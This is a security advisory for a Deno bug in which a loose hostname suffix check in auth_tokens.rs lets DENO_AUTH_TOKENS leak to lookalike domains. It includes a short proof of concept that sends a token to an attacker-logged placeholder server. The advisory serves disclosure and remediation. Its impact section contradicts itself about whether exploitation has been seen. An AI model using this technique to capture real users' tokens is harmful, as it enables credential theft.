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GHSA-5frw-4rwq-xhcr
No affected components available
Summary
Deno improperly checks that an import specifier's hostname is equal to or a child of a token's hostname, which can cause tokens to be sent to servers they shouldn't be sent to. An auth token intended for example.com may be sent to notexample.com.
Details
auth_tokens.rs uses a simple ends_with check, which matches www.deno.land to a deno.land token as intended, but also matches im-in-ur-servers-attacking-ur-deno.land to deno.land tokens.
PoC
- Set up a server that logs requests. RequestBin will do. For example,
denovulnpoc.example.com. - Run
DENO_AUTH_TOKENS=a1b2c3d4e5f6@left-truncated.domain deno run https://not-a-left-truncated.domain. For example,DENO_AUTH_TOKENS=a1b2c3d4e5f6@poc.example.com deno run https://denovulnpoc.example.com - Observe that the token intended only for the truncated domain is sent to the full domain
Impact
What kind of vulnerability is it? Who is impacted? Anyone who uses DENO_AUTH_TOKENS and imports potentially untrusted code is affected.
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker needs basic access or low-level privileges. The attacker needs the user to perform some action, like clicking a link. The impact is confined to the system where the vulnerability exists. There is a low impact on the confidentiality of the information. There is a low impact on the integrity of the data.
Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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